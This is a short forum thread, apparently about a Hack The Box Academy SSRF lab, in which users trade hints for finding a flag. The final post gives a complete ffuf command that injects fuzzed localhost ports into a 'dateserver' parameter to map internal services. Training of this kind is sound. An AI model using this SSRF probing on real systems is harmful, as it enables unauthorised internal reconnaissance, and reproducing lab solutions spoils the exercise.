Help Needed with Identifying SSRF Flag Location

HTB Content Academy
1

Hello everyone, I hope you’re all doing great!

I’m working on an Identifying SSRF exercise and have successfully identified an open port (80) using fuzzing, so everything is progressing well so far. However, I’m having trouble locating the flag. I tried accessing http://127.0.0.1:80/flag.txt, but I receive a “404 Not Found” response.

Screenshot 1446-04-24 at 6.47.28 PM
Screenshot 1446-04-24 at 6.47.28 PM1920×989 82.6 KB

Does anyone have any hints on where I might find the flag or how I should proceed from here?

Thank you in advance for any guidance!

2

Try finding using /user.txt

3

sadly it didn’t work, but thank you for helping!

4

The problem solved !

Steps:

  1. Fuzzing Ports:
    Use the following ffuf command to fuzz the ports:
    ffuf -w ports.txt -u http://10.129.94.22/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect"

  2. Finding the Flag:
    You’ll get responses for three ports. Try connecting to each of them to locate the flag.